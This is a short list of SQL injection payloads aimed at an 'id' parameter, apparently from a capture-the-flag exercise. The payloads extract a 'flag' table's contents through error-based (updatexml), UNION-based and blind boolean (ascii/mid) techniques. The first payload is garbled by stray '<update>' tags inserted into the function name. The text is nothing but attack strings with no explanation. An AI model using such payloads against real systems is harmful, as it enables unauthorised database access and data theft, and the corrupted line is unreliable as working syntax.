id=1 and up<update>datexml(1,concat(0x7e,(select * from flag),0x7e),1))#
id=NULL%20union%20select%20null,(select%20flag%20from%20flag),null,null#
id=1%20and%20(select%20ascii(mid(flag,1,1))%20from%20flag)=72</update>